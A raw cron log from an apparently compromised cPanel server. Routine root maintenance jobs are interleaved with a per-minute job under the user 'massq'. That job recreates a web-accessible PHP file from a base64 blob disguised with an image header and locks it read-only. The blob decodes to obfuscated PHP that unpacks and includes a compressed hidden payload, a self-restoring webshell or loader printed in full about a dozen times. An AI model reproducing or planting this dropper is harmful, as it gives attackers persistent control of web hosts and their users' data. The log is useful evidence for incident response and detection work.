Sep 10 03:35:01 server CROND[25098]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 03:35:01 server CROND[25105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:35:01 server CROND[25104]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:35:01 server CROND[25102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:35:01 server CROND[25103]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 03:36:01 server CROND[25959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:36:01 server CROND[25960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:36:01 server CROND[25961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:37:01 server CROND[26446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:37:01 server CROND[26447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:37:01 server CROND[26448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:38:01 server CROND[26820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:38:01 server CROND[26821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:38:01 server CROND[26819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:39:01 server CROND[27195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:39:01 server CROND[27198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:39:01 server CROND[27197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:39:01 server CROND[27199]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 03:40:01 server CROND[27587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:40:01 server CROND[27589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:40:01 server CROND[27590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:40:01 server CROND[27592]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:40:01 server CROND[27593]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:40:01 server CROND[27595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:40:01 server CROND[27594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:40:01 server CROND[27591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:41:01 server CROND[28425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:41:01 server CROND[28426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:41:01 server CROND[28427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:42:01 server CROND[28912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:42:01 server CROND[28914]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 03:42:01 server CROND[28913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:42:01 server CROND[28915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:42:01 server anacron[8073]: Job `cron.daily' started
Sep 10 03:42:01 server run-parts(/etc/cron.daily)[28931]: starting imunify-antivirus.cron
Sep 10 03:43:01 server CROND[29314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:43:01 server CROND[29313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:43:01 server CROND[29315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:44:01 server CROND[29687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:44:01 server CROND[29688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:44:01 server CROND[29689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:45:01 server CROND[30070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:45:01 server CROND[30072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:45:01 server CROND[30077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:45:01 server CROND[30084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:45:01 server CROND[30082]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:45:01 server CROND[30089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:45:01 server CROND[30090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:46:01 server CROND[30928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:46:01 server CROND[30929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:46:01 server CROND[30930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
